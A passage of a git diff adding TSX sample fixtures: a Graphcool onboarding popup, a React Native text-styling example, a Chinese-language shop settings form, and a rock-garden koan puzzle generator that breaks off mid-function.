+                  # You can now open the app on localhost:3000
+                </div>
+                <div className='black-50'>
+                  # Please come back to this page once you're done. We're waiting here. 💤
+                </div>
+                <div className={cx($p.w100, $p.flex, $p.flexRow, $p.justifyCenter, $p.mt25)}>
+                  <a href='#' onClick={
+                    (e: any) => {
+                      e.preventDefault()
+                      // we need to skip the 'STEP5_WAITING' step
+                      this.props.nextStep()
+                      this.props.nextStep()
+                      this.props.nextStep()
+                    }
+                  }>
+                    Skip
+                  </a>
+                </div>
+              </div>
+              {this.props.gettingStartedState.isCurrentStep('STEP5_WAITING') &&
+              <div className='w-100 mv-96 flex justify-center'>
+                <Loading />
+              </div>
+              }
+            </div>
+          </div>
+          }
+        {this.props.gettingStartedState.isCurrentStep('STEP5_DONE') &&
+          <div className='w-100 mb-96' ref='congratsAnchor'>
+            <div className='flex items-center flex-column pv-60 fw1'>
+              <div className='f-96'>
+                🎉
+              </div>
+              <div className='f-38 mt-38'>
+                Congratulations!
+              </div>
+              <div className='f-38 mt-16'>
+                We knew you had it in you.
+              </div>
+              <div className='f-16 mv-38'>
+                Now go out there and build amazing things!
+              </div>
+            </div>
+            <div className='flex justify-between ph-25 pv-16'>
+              <div className='w-50 pr-16'>
+                <div className='ttu ls-2 f-16 fw1 lh-1-4'>
+                  Get started on your own<br />with those excellent tutorials
+                </div>
+                <div className='mv-38'>
+                  {guides.map(guide => this.renderBox(guide))}
+                </div>
+              </div>
+              <div className='w-50 pl-16'>
+                <div className='ttu ls-2 f-16 fw1 lh-1-4'>
+                  Get more out of Graphcool<br />with our guides
+                </div>
+                <div className={`h-100 justify-start flex flex-column mv-38 ${classes.guides}`}>
+                  <a
+                    href='https://graph.cool/docs/tutorials/quickstart-2-daisheeb9x'
+                    className={`${classes.one} fw4 black db flex items-center mb-25`}
+                    target='_blank'
+                  >
+                    Declaring Relations
+                  </a>
+                  <a
+                    href='https://graph.cool/docs/tutorials/quickstart-3-saigai7cha'
+                    className={`${classes.two} fw4 black db flex items-center mb-25`}
+                    target='_blank'
+                  >
+                    Implementing Business Logic
+                  </a>
+                  <a
+                    href='https://graph.cool/docs/tutorials/thinking-in-terms-of-graphs-ahsoow1ool'
+                    target='_blank'
+                    className={`${classes.three} fw4 black db flex items-center mb-25`}
+                  >
+                    Thinking in terms of graphs
+                  </a>
+                </div>
+              </div>
+            </div>
+            <div className='flex w-100 justify-center'>
+              <div
+                className='f-25 mv-16 pv-16 ph-60 ls-1 ttu pointer bg-accent white dim'
+                onClick={this.props.nextStep}
+              >
+                Finish Onboarding
+              </div>
+            </div>
+          </div>
+          }
+          </div>
+        </div>
+      </div>
+    )
+  }
+
+  private renderBox = (tutorial: Tutorial) => {
+    return (
+      <div key={tutorial.title} className='pa-16 mb-16 lh-1-4' style={{background: 'rgba(0,0,0,0.03)'}}>
+        <a className='flex items-center' href={tutorial.link} target='_blank'>
+          <div className='flex items-center justify-center' style={{ flex: '0 0 60px', height: 60 }}>
+            <img src={tutorial.image}/>
+          </div>
+          <div className='flex flex-column space-between ml-38'>
+            <div className='mb-6 dark-gray f-16'>
+              {tutorial.title}
+            </div>
+            <div className='fw1 mid-gray'>
+              {tutorial.description}
+            </div>
+          </div>
+        </a>
+      </div>
+    )
+  }
+
+  private getExampleVideoUrl = (example: Example): string => {
+    switch (example) {
+      case 'ReactRelay': return '_dj9Os2ev4M'
+      case 'ReactApollo': return '9nlwyPUPXjQ'
+      case 'ReactNativeApollo': return '9nlwyPUPXjQ'
+      case 'AngularApollo': return 'EzD5fJ-uniI'
+    }
+  }
+}
+
+const mapStateToProps = (state) => {
+  return {
+    gettingStartedState: state.gettingStarted.gettingStartedState,
+  }
+}
+
+const mapDispatchToProps = (dispatch) => {
+  return bindActionCreators({nextStep, selectExample}, dispatch)
+}
+
+export default connect(mapStateToProps, mapDispatchToProps)(withRouter(PlaygroundCPopup))
diff --git a/samples/TSX/react-native.tsx b/samples/TSX/react-native.tsx
new file mode 100644
index 0000000000..acfb57c609
--- /dev/null
+++ b/samples/TSX/react-native.tsx
@@ -0,0 +1,366 @@
+// Fixture taken from https://github.com/bgrieder/RNTSExplorer/blob/master/typescript/components/TextExample.ios.tsx
+
+/**
+ * The examples provided by Facebook are for non-commercial testing and
+ * evaluation purposes only.
+ *
+ * Facebook reserves all rights not expressly granted.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NON INFRINGEMENT. IN NO EVENT SHALL
+ * FACEBOOK BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN
+ * AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ *
+ * Typescript rewrite by Bruno Grieder
+ */
+
+'use strict'
+
+import * as React from 'react-native';
+import RNTSExample from '../RNTSExample'
+import RNTSExampleModule from '../RNTSExampleModule'
+
+const {
+          StyleSheet,
+          Text,
+          View,
+          } = React
+
+
+const styles = StyleSheet.create(
+    {
+        backgroundColorText: {
+            left:            5,
+            backgroundColor: 'rgba(100, 100, 100, 0.3)'
+        },
+        entity:              {
+            fontWeight: '500',
+            color:      '#527fe4',
+        },
+    }
+)
+
+class Entity extends React.Component<any,any> {
+    render() {
+        return (
+            <Text style={styles.entity}>
+                {this.props.children}
+            </Text>
+        )
+    }
+}
+
+interface AttrTogglerState {
+    fontWeight?: string
+    fontSize?: number
+}
+
+class AttributeToggler extends React.Component<any, AttrTogglerState> {
+    componentWillMount() {
+        this.setState(
+            {
+                fontWeight: '500',
+                fontSize:   15
+            }
+        )
+    }
+
+    private increaseSize = (): void => {
+        this.setState( {
+                           fontSize: this.state.fontSize + 1
+                       } )
+    }
+
+    render() {
+        const curStyle: React.TextStyle = { fontSize: this.state.fontSize }
+        return (
+            <Text>
+                <Text style={curStyle}>
+                    Tap the controls below to change attributes.
+                </Text>
+                <Text>
+                    See how it will even work on{' '}
+                    <Text style={curStyle}>
+                        this nested text
+                    </Text>
+                    <Text onPress={this.increaseSize}>
+                        {'>> Increase Size <<'}
+                    </Text>
+                </Text>
+            </Text>
+        )
+    }
+}
+
+export default {
+    title:       '<Text>',
+    description: 'Base component for rendering styled text.',
+    displayName: 'TextExample',
+    examples:    [
+                     {
+                         title:  'Wrap',
+                         render: function () {
+                             return (
+                                 <Text>
+                                     The text should wrap if it goes on multiple lines. See, this is going to
+                                     the next line.
+                                 </Text>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Padding',
+                         render: function () {
+                             return (
+                                 <Text style={{padding: 10}}>
+                                     This text is indented by 10px padding on all sides.
+                                 </Text>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Font Family',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{fontFamily: 'Cochin'}}>
+                                         Cochin
+                                     </Text>
+                                     <Text style={{fontFamily: 'Cochin', fontWeight: 'bold'}}>
+                                         Cochin bold
+                                     </Text>
+                                     <Text style={{fontFamily: 'Helvetica'}}>
+                                         Helvetica
+                                     </Text>
+                                     <Text style={{fontFamily: 'Helvetica', fontWeight: 'bold'}}>
+                                         Helvetica bold
+                                     </Text>
+                                     <Text style={{fontFamily: 'Verdana'}}>
+                                         Verdana
+                                     </Text>
+                                     <Text style={{fontFamily: 'Verdana', fontWeight: 'bold'}}>
+                                         Verdana bold
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Font Size',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{fontSize: 23}}>
+                                         Size 23
+                                     </Text>
+                                     <Text style={{fontSize: 8}}>
+                                         Size 8
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Color',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{color: 'red'}}>
+                                         Red color
+                                     </Text>
+                                     <Text style={{color: 'blue'}}>
+                                         Blue color
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Font Weight',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{fontWeight: '100'}}>
+                                         Move fast and be ultralight
+                                     </Text>
+                                     <Text style={{fontWeight: '200'}}>
+                                         Move fast and be light
+                                     </Text>
+                                     <Text style={{fontWeight: 'normal'}}>
+                                         Move fast and be normal
+                                     </Text>
+                                     <Text style={{fontWeight: 'bold'}}>
+                                         Move fast and be bold
+                                     </Text>
+                                     <Text style={{fontWeight: '900'}}>
+                                         Move fast and be ultrabold
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Font Style',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{fontStyle: 'normal'}}>
+                                         Normal text
+                                     </Text>
+                                     <Text style={{fontStyle: 'italic'}}>
+                                         Italic text
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:       'Nested',
+                         description: 'Nested text components will inherit the styles of their ' +
+                                      'parents (only backgroundColor is inherited from non-Text parents).  ' +
+                                      '<Text> only supports other <Text> and raw text (strings) as children.',
+                         render:      function () {
+                             return (
+                                 <View>
+                                     <Text>
+                                         (Normal text,
+                                         <Text style={{fontWeight: 'bold'}}>
+                                             (and bold
+                                             <Text style={{fontSize: 11, color: '#527fe4'}}>
+                                                 (and tiny inherited bold blue)
+                                             </Text>
+                                             )
+                                         </Text>
+                                         )
+                                     </Text>
+                                     <Text style={{fontSize: 12}}>
+                                         <Entity>Entity Name</Entity>
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Text Align',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text style={{textAlign: 'left'}}>
+                                         left left left left left left left left left left left left left left left
+                                     </Text>
+                                     <Text style={{textAlign: 'center'}}>
+                                         center center center center center center center center center center center
+                                     </Text>
+                                     <Text style={{textAlign: 'right'}}>
+                                         right right right right right right right right right right right right right
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Spaces',
+                         render: function () {
+                             return (
+                                 <Text>
+                                     A {'generated'} {' '} {'string'} and    some &nbsp&nbsp&nbsp spaces
+                                 </Text>
+                             )
+                         },
+                     },
+                     {
+                         title:  'Line Height',
+                         render: function () {
+                             return (
+                                 <Text>
+                                     <Text style={{lineHeight: 35}}>
+                                         A lot of space between the lines of this long passage that should
+                                         wrap once.
+                                     </Text>
+                                 </Text>
+                             )
+                         },
+                     },
+                     {
+                         title:       'Empty Text',
+                         description: 'It\'s ok to have Text with zero or null children.',
+                         render:      function () {
+                             return (
+                                 <Text />
+                             )
+                         },
+                     },
+                     {
+                         title:  'Toggling Attributes',
+                         render: (): React.ReactElement<any> => {
+                             return <AttributeToggler />
+                         },
+                     },
+                     {
+                         title:       'backgroundColor attribute',
+                         description: 'backgroundColor is inherited from all types of views.',
+                         render:      function () {
+                             return (
+                                 <View style={{backgroundColor: 'yellow'}}>
+                                     <Text>
+                                         Yellow background inherited from View parent,
+                                         <Text style={{backgroundColor: '#ffaaaa'}}>
+                                             {' '}red background,
+                                             <Text style={{backgroundColor: '#aaaaff'}}>
+                                                 {' '}blue background,
+                                                 <Text>
+                                                     {' '}inherited blue background,
+                                                     <Text style={{backgroundColor: '#aaffaa'}}>
+                                                         {' '}nested green background.
+                                                     </Text>
+                                                 </Text>
+                                             </Text>
+                                         </Text>
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'containerBackgroundColor attribute',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <View style={{flexDirection: 'row', height: 85}}>
+                                         <View style={{backgroundColor: '#ffaaaa', width: 150}}/>
+                                         <View style={{backgroundColor: '#aaaaff', width: 150}}/>
+                                     </View>
+                                     <Text style={[styles.backgroundColorText, {top: -80}]}>
+                                         Default containerBackgroundColor (inherited) + backgroundColor wash
+                                     </Text>
+                                     <Text style={[
+                                            styles.backgroundColorText,
+                                            {top: -70, containerBackgroundColor: 'transparent'}
+                                        ]}>
+                                         {"containerBackgroundColor: 'transparent' + backgroundColor wash"}
+                                     </Text>
+                                 </View>
+                             )
+                         },
+                     },
+                     {
+                         title:  'numberOfLines attribute',
+                         render: function () {
+                             return (
+                                 <View>
+                                     <Text numberOfLines={1}>
+                                         Maximum of one line no matter now much I write here. If I keep writing it{"'"}ll just truncate after one line
+                                     </Text>
+                                     <Text numberOfLines={2} style={{marginTop: 20}}>
+                                         Maximum of two lines no matter now much I write here. If I keep writing it{"'"}ll just truncate after two lines
+                                     </Text>
+                                     <Text style={{marginTop: 20}}>
+                                         No maximum lines specified no matter now much I write here. If I keep writing it{"'"}ll just keep going and going
+                                     </Text>
+                                 </View>
+                             )
+                         }
+                     } ] as RNTSExample[]
+} as RNTSExampleModule
diff --git a/samples/TSX/require.tsx b/samples/TSX/require.tsx
new file mode 100644
index 0000000000..c7d185c4d1
--- /dev/null
+++ b/samples/TSX/require.tsx
@@ -0,0 +1,240 @@
+// Fixture taken from https://github.com/jcingroup/C551608_Roki/blob/master/Work.WebProj/Scripts/src/tsx/m-parm.tsx
+
+import $ = require('jquery');
+import React = require('react');
+import ReactDOM = require('react-dom');
+import Moment = require('moment');
+import ReactBootstrap = require("react-bootstrap");
+import CommCmpt = require('comm-cmpt');
+import CommFunc = require('comm-func');
+
+namespace Parm {
+    interface ParamData {
+        Email?: string;
+        PurchaseTotal?: number;
+        HomoiothermyFee?: number;
+        RefrigerFee?: number;
+        AccountName?: string;
+        BankName?: string;
+        BankCode?: string;
+        AccountNumber?: string;
+        Fee?: number;
+    }
+    export class GridForm extends React.Component<any, { param?: ParamData }>{
+
+
+        constructor() {
+
+            super();
+            this.queryInitData = this.queryInitData.bind(this);
+            this.handleSubmit = this.handleSubmit.bind(this);
+            this.componentDidMount = this.componentDidMount.bind(this);
+            this.setInputValue = this.setInputValue.bind(this);
+            this.render = this.render.bind(this);
+            this.state = {
+                param: {
+                    Email: null,
+                    PurchaseTotal: 0,
+                    HomoiothermyFee: 0,
+                    RefrigerFee:0,
+                    AccountName: null,
+                    BankName: null,
+                    BankCode: null,
+                    AccountNumber: null,
+                    Fee: 0
+                }
+            }
+        }
+        static defaultProps = {
+            apiInitPath: gb_approot + 'Active/ParmData/aj_ParamInit',
+            apiPath: gb_approot + 'api/GetAction/PostParamData'
+        }
+        componentDidMount() {
+            this.queryInitData();
+        }
+        queryInitData() {
+            CommFunc.jqGet(this.props.apiInitPath, {})
+                .done((data, textStatus, jqXHRdata) => {
+                    this.setState({ param: data });
+                })
+                .fail((jqXHR, textStatus, errorThrown) => {
+                    CommFunc.showAjaxError(errorThrown);
+                });
+        }
+        handleSubmit(e: React.FormEvent) {
+
+            e.preventDefault();
+            CommFunc.jqPost(this.props.apiPath, this.state.param)
+                .done((data, textStatus, jqXHRdata) => {
+                    if (data.result) {
+                        CommFunc.tosMessage(null, '修改完成', 1);
+                    } else {
+                        alert(data.message);
+                    }
+                })
+                .fail((jqXHR, textStatus, errorThrown) => {
+                    CommFunc.showAjaxError(errorThrown);
+                });
+            return;
+        }
+        handleOnBlur(date) {
+
+        }
+        setInputValue(name: string, e: React.SyntheticEvent) {
+            let input: HTMLInputElement = e.target as HTMLInputElement;
+            let obj = this.state.param;
+            obj[name] = input.value;
+            this.setState({ param: obj });
+        }
+        render() {
+
+            var outHtml: JSX.Element = null;
+
+            let param = this.state.param;
+            let InputDate = CommCmpt.InputDate;
+
+            outHtml = (
+                <div>
+    <ul className="breadcrumb">
+        <li><i className="fa-list-alt"></i>
+            {this.props.menuName}
+            </li>
+        </ul>
+    <h4 className="title"> {this.props.caption} 基本資料維護</h4>
+    <form className="form-horizontal" onSubmit={this.handleSubmit}>
+        <div className="col-xs-12">
+            <div className="item-box">
+                {/*--email--*/}
+                <div className="item-title text-center">
+                <h5>Email信箱設定</h5>
+                    </div>
+                    <div className="alert alert-warning" role="alert">
+                        <ol>
+                            <li>多筆信箱請用「<strong className="text-danger">, </strong>」逗號分開。<br />ex.<strong>user1 @demo.com.tw, user2 @demo.com.tw</strong></li>
+                            <li>Email 前面可填收件人姓名，用「<strong className="text-danger">: </strong>」冒號分隔姓名和信箱，此項非必要，可省略。<br />ex.<strong>收件人A: user1 @demo.com.tw, 收件人B: user2 @demo.com.tw</strong></li>
+                            </ol>
+                        </div>
+                    <div className="form-group">
+                       <label className="col-xs-1 control-label">收件信箱</label>
+                       <div className="col-xs-9">
+                                <input className="form-control" type="text"
+                                    value={param.Email}
+                                    onChange={this.setInputValue.bind(this, 'Email') }
+                                    maxLength={500}
+                                    required/>
+                           </div>
+                        </div>
+                {/*--email end--*/}
+                {/*--shoppingCost--*/}
+                <div className="item-title text-center">
+                <h5>訂單運費設定</h5>
+                    </div>
+                    <div className="form-group">
+                       <label className="col-xs-3 control-label">會員下訂單，當訂單金額少於NT$</label>
+                       <div className="col-xs-1">
+                                <input className="form-control" type="number"
+                                    value={param.PurchaseTotal}
+                                    onChange={this.setInputValue.bind(this, 'PurchaseTotal') }
+                                    min={0}
+                                    required/>
+                           </div>
+                        <label className="col-xs-2 control-label">元時須付常溫運費NT$</label>
+                       <div className="col-xs-1">
+                                <input className="form-control" type="number"
+                                    value={param.HomoiothermyFee}
+                                    onChange={this.setInputValue.bind(this, 'HomoiothermyFee') }
+                                    min={0}
+                                    required/>
+                           </div>
+                        <label className="col-xs-2 control-label">元或冷凍(冷藏)運費NT$</label>
+                       <div className="col-xs-1">
+                                <input className="form-control" type="number"
+                                    value={param.RefrigerFee}
+                                    onChange={this.setInputValue.bind(this, 'RefrigerFee') }
+                                    min={0}
+                                    required/>
+                           </div>
+                        <label className="col-xs-1 control-label">元</label>
+                        </div>
+
+                {/*--shoppingCost end--*/}
+                {/*--Payment--*/}
+                <div className="item-title text-center">
+                <h5>付款方式</h5>
+                    </div>
+                    <div className="form-group">
+                     <label className="col-xs-4 control-label">當付款方式選擇『ATM轉帳』時，銀行帳號資料為: </label>
+                        </div>
+                    <div className="form-group">
+                       <label className="col-xs-2 control-label">戶名: </label>
+                       <div className="col-xs-3">
+                                <input className="form-control" type="text"
+                                    value={param.AccountName}
+                                    onChange={this.setInputValue.bind(this, 'AccountName') }
+                                    maxLength={16}
+                                    required/>
+                           </div>
+                        </div>
+                    <div className="form-group">
+                       <label className="col-xs-2 control-label">銀行: </label>
+                       <div className="col-xs-3">
+                                <input className="form-control" type="text"
+                                    value={param.BankName}
+                                    onChange={this.setInputValue.bind(this, 'BankName') }
+                                    maxLength={16}
+                                    required/>
+                           </div>
+                        </div>
+                    <div className="form-group">
+                       <label className="col-xs-2 control-label">代碼: </label>
+                       <div className="col-xs-3">
+                                <input className="form-control" type="text"
+                                    value={param.BankCode}
+                                    onChange={this.setInputValue.bind(this, 'BankCode') }
+                                    maxLength={5}
+                                    required/>
+                           </div>
+                        </div>
+                    <div className="form-group">
+                       <label className="col-xs-2 control-label">帳號: </label>
+                       <div className="col-xs-3">
+                                <input className="form-control" type="text"
+                                    value={param.AccountNumber}
+                                    onChange={this.setInputValue.bind(this, 'AccountNumber') }
+                                    maxLength={16}
+                                    required/>
+                           </div>
+                        </div>
+                    {/*<div className="form-group">
+                     <label className="col-xs-4 control-label">當付款方式選擇『貨到付款』時，須加NT$ </label>
+                       <div className="col-xs-1">
+                                <input className="form-control" type="number"
+                                    value={param.Fee}
+                                    onChange={this.setInputValue.bind(this, 'Fee') }
+                                    min={0}
+                                    required/>
+                           </div>
+                     <label className="control-label">元手續費</label>
+                        </div>*/}
+                {/*--Payment end--*/}
+                </div>
+
+
+
+            <div className="form-action">
+                <div className="col-xs-4 col-xs-offset-5">
+                    <button type="submit" className="btn-primary"><i className="fa-check"></i> 儲存</button>
+                    </div>
+                </div>
+            </div>
+        </form>
+                    </div>
+            );
+
+            return outHtml;
+        }
+    }
+}
+
+var dom = document.getElementById('page_content');
+ReactDOM.render(<Parm.GridForm caption={gb_caption} menuName={gb_menuname} iconClass="fa-list-alt" />, dom);
diff --git a/samples/TSX/triple-slash-reference.tsx b/samples/TSX/triple-slash-reference.tsx
new file mode 100644
index 0000000000..681dbedb22
--- /dev/null
+++ b/samples/TSX/triple-slash-reference.tsx
@@ -0,0 +1,863 @@
+/// <reference path="../DefinitelyTyped/react/react-global.d.ts" />
+
+// Fixture taken from https://github.com/RyanCavanaugh/koany/blob/master/koany.tsx
+
+interface Garden {
+	colors: Gardens.RockColor[];
+	shapes: Gardens.RockShape[];
+}
+
+namespace Gardens {
+	export enum RockShape {
+		Empty,
+		Circle,
+		Triangle,
+		Square,
+		Max
+	}
+	export const RockShapes = [RockShape.Circle, RockShape.Triangle, RockShape.Square];
+	export const RockShapesAndEmpty = RockShapes.concat(RockShape.Empty);
+
+	export enum RockColor {
+		Empty,
+		White,
+		Red,
+		Black,
+		Max
+	}
+	export const RockColors = [RockColor.White, RockColor.Red, RockColor.Black];
+	export const RockColorsAndEmpty = RockColors.concat(RockColor.Empty);
+
+	export const Size = 9;
+
+	// 012
+	// 345
+	// 678
+	export const adjacencies = [
+		[1, 3], [0, 4, 2], [1, 5],
+		[0, 4, 6], [3, 1, 7, 5], [2, 4, 8],
+		[3, 7], [6, 4, 8], [7, 5]
+	];
+}
+
+module Koan {
+	export enum DescribeContext {
+		// every "white stone" is ...
+		Singular,
+		// all "white stones" are
+		Plural,
+		// every stone in the top row is "white"
+		Adjectival
+	}
+
+	export enum PartType {
+		Selector,
+		Aspect
+	}
+
+	export enum StateTestResult {
+		Fail = 0,
+		WeakPass = 1,
+		Pass = 2
+	}
+
+	/// A general format for producing a Statement
+	export interface StatementTemplate<T> {
+		holes: PartType[];
+		describe(args: T): string;
+		test(g: Garden, args: T): StateTestResult;
+	}
+
+	/// A completed rule that can be used to test a Garden
+	export interface ProducedStatement<T> {
+		test(g: Garden): StateTestResult;
+		description: string;
+		children: T;
+
+		hasPassedAndFailed(): boolean;
+	}
+
+	function rnd(max: number) {
+		return Math.floor(Math.random() * max);
+	}
+
+	function randomColor(): Gardens.RockColor {
+		return Math.floor(Math.random() * (Gardens.RockColor.Max - 1)) + 1
+	}
+
+	function randomShape(): Gardens.RockShape {
+		return Math.floor(Math.random() * (Gardens.RockShape.Max - 1)) + 1
+	}
+
+	/* New Impl Here */
+	interface SelectorSpec<T> {
+		childTypes?: PartType[];
+		precedence: number;
+		weight: number;
+		test(args: T, g: Garden, index: number): string|number|boolean;
+		describe(args: T, context: DescribeContext): string;
+		isAllValues(values: Array<string>|Array<number>): boolean;
+	}
+
+	interface ProducedSelector {
+		test(g: Garden, index: number): string|number|boolean;
+		getDescription(plural: DescribeContext): string;
+		seenAllValues(): boolean;
+	}
+
+	export function buildSelector<T>(spec: SelectorSpec<T>, args: T): ProducedSelector {
+		let seenResults: { [s: string]: boolean;} = {};
+		return {
+			test: (g: Garden, index: number) => {
+				var result = spec.test(args, g, index);
+				seenResults[result + ''] = true;
+				return result;
+			},
+			getDescription: (context) => {
+				return spec.describe(args, context);
+			},
+			seenAllValues: () => {
+				return spec.isAllValues(Object.keys(seenResults));
+			}
+		}
+	}
+
+	export var SelectorTemplates: Array<SelectorSpec<{}>> = [];
+	module LetsMakeSomeSelectors {
+		// Is rock
+		SelectorTemplates.push({
+			test: (args, g, i) => g.colors[i] !== Gardens.RockColor.Empty,
+			describe: (args, context) => {
+				switch(context) {
+					case DescribeContext.Plural:
+						return 'Stones';
+					case DescribeContext.Adjectival:
+						return 'not empty';
+					case DescribeContext.Singular:
+						return 'Stone';
+				}
+			},
+			isAllValues: items => items.length === 2,
+			precedence: 0,
+			weight: 1
+		});
+
+		// Is of a certain color and/or shape
+		Gardens.RockColorsAndEmpty.forEach(color => {
+			let colorName = Gardens.RockColor[color];
+			let colorWeight = color === Gardens.RockColor.Empty ? 1 : 0.33;
+			Gardens.RockShapesAndEmpty.forEach(shape => {
+				let shapeName = Gardens.RockShape[shape];
+				let shapeWeight = shape === Gardens.RockShape.Empty ? 1 : 0.33;
+				SelectorTemplates.push({
+					test: (args, g, i) => {
+						if(color === Gardens.RockColor.Empty) {
+							if (shape === Gardens.RockShape.Empty) {
+								return g.colors[i] === Gardens.RockColor.Empty;
+							} else {
+								return g.shapes[i] === shape;
+							}
+						} else {
+							if (shape === Gardens.RockShape.Empty) {
+								return g.colors[i] === color;
+							} else {
+								return g.shapes[i] === shape && g.colors[i] === color;
+							}
+						}
+					},
+					describe: (args, context) => {
+						if(color === Gardens.RockColor.Empty) {
+							if (shape === Gardens.RockShape.Empty) {
+								switch(context) {
+									case DescribeContext.Plural:
+										return 'Empty Cells';
+									case DescribeContext.Adjectival:
+										return 'Empty';
+									case DescribeContext.Singular:
+										return 'Empty Cell';
+								}
+							} else {
+								switch(context) {
+									case DescribeContext.Plural:
+										return shapeName + 's';
+									case DescribeContext.Adjectival:
+										return 'a ' + shapeName;
+									case DescribeContext.Singular:
+										return shapeName;
+								}
+							}
+						} else {
+							if (shape === Gardens.RockShape.Empty) {
+								switch(context) {
+									case DescribeContext.Plural:
+										return colorName + ' Stones';
+									case DescribeContext.Adjectival:
+										return colorName;
+									case DescribeContext.Singular:
+										return colorName + ' Stone';
+								}
+							} else {
+								switch(context) {
+									case DescribeContext.Plural:
+										return colorName + ' ' + shapeName + 's';
+									case DescribeContext.Adjectival:
+										return 'a ' + colorName + ' ' + shapeName;
+									case DescribeContext.Singular:
+										return colorName + ' ' + shapeName;
+								}
+							}
+						}
+					},
+					isAllValues: items => items.length === 2,
+					precedence: 3,
+					weight: (shapeWeight + colorWeight === 2) ? 0.3 : shapeWeight * colorWeight
+				});
+			});
+		});
+
+		// [?] in the [top|middle|bottom] [row|column]
+		[0, 1, 2].forEach(rowCol => {
+			[true, false].forEach(isRow => {
+				var name = (isRow ? ['top', 'middle', 'bottom'] : ['left', 'middle', 'right'])[rowCol] + ' ' + (isRow ? 'row' : 'column');
+				var spec: SelectorSpec<[ProducedSelector]> = {
+					childTypes: [PartType.Selector],
+					test: (args, g, i) => {
+						var c = isRow ? Math.floor(i / 3) : i % 3;
+						if (c === rowCol) {
+							return args[0].test(g, i);
+						} else {
+							return false;
+						}
+					},
+					describe: (args, plural) => args[0].getDescription(plural) + ' in the ' + name,
+					isAllValues: items => items.length === 2,
+					precedence: 4,
+					weight: 1 / 6
+				};
+				SelectorTemplates.push(spec);
+			});
+		});
+
+		// [?] next to a [?]
+		SelectorTemplates.push({
+			childTypes: [PartType.Selector, PartType.Selector],
+			test: (args, g, i) => {
+				if (args[0].test(g, i)) {
+					return Gardens.adjacencies[i].some(x => !!args[1].test(g, x));
+				} else {
+					return false;
+				}
+			},
+			describe: (args, plural) => {
+				return args[0].getDescription(plural) + ' next to a ' + args[1].getDescription(DescribeContext.Singular);
+			},
+			isAllValues: items => items.length === 2,
+			precedence: 4,
+			weight: 1
+		} as SelectorSpec<[ProducedSelector, ProducedSelector]>);
+	}
+
+	export function buildStatement<T>(s: StatementTemplate<T>, args: T): ProducedStatement<T> {
+		let hasPassed = false;
+		let hasFailed = false;
+
+		let result: ProducedStatement<T> = {
+			children: args,
+			description: s.describe(args),
+			test: (g) => {
+				let r = s.test(g, args);
+				if (r === StateTestResult.Pass) {
+					hasPassed = true;
+				} else if(r === StateTestResult.Fail) {
+					hasFailed = true;
+				}
+				return r;
+			},
+			hasPassedAndFailed: () => {
+				return hasPassed && hasFailed && (args as any as ProducedSelector[]).every(c => c.seenAllValues());
+			}
+		};
+		return result;
+	}
+
+	export let StatementList: StatementTemplate<any>[] = [];
+	module LetsMakeSomeStatements {
+		// Every [?] is a [?]
+		StatementList.push({
+			holes: [PartType.Selector, PartType.Selector],
+			test: (g: Garden, args: [ProducedSelector, ProducedSelector]) => {
+				let didAnyTests = false;
+				for (var i = 0; i < Gardens.Size; i++) {
+					if (args[0].test(g, i)) {
+						if(!args[1].test(g, i)) return StateTestResult.Fail;
+						didAnyTests = true;
+					}
+				}
+				return didAnyTests ? StateTestResult.Pass : StateTestResult.WeakPass;
+			},
+			describe: args => {
+				return 'Every ' + args[0].getDescription(DescribeContext.Singular) + ' is ' + args[1].getDescription(DescribeContext.Adjectival);
+			}
+		});
+
+		// There is exactly 1 [?]
+		StatementList.push({
+			holes: [PartType.Selector],
+			test: (g: Garden, args: [ProducedSelector, ProducedSelector]) => {
+				var count = 0;
+				for (var i = 0; i < Gardens.Size; i++) {
+					if (args[0].test(g, i)) count++;
+				}
+
+				return count === 1 ? StateTestResult.Pass : StateTestResult.Fail;
+			},
+			describe: args => {
+				return 'There is exactly one ' + args[0].description;
+			}
+		});
+
+		// There are more [?] than [?]
+		StatementList.push({
+			holes: [PartType.Selector, PartType.Selector],
+			test: (g: Garden, args: [ProducedSelector, ProducedSelector]) => {
+				var p1c = 0, p2c = 0;
+				for (var i = 0; i < Gardens.Size; i++) {
+					if (args[0].test(g, i)) p1c++;
+					if (args[1].test(g, i)) p2c++;
+				}
+				if(p1c > p2c && p2c > 0) {
+					return StateTestResult.Pass;
+				} else if(p1c > p2c) {
+					return StateTestResult.WeakPass;
+				} else {
+					return StateTestResult.Fail;
+				}
+			},
+			describe: args => {
+				return 'There are more ' + args[0].descriptionPlural + ' than ' + args[1].descriptionPlural;
+			}
+		});
+	}
+
+	function randomElementOf<T>(arr: T[]): T {
+		if (arr.length === 0) {
+			return undefined;
+		} else {
+			return arr[Math.floor(Math.random() * arr.length)];
+		}
+	}
+
+	function randomWeightedElementOf<T extends { weight: number }>(arr: T[]): T {
+		var totalWeight = arr.reduce((acc, v) => acc + v.weight, 0);
+		var rnd = Math.random() * totalWeight;
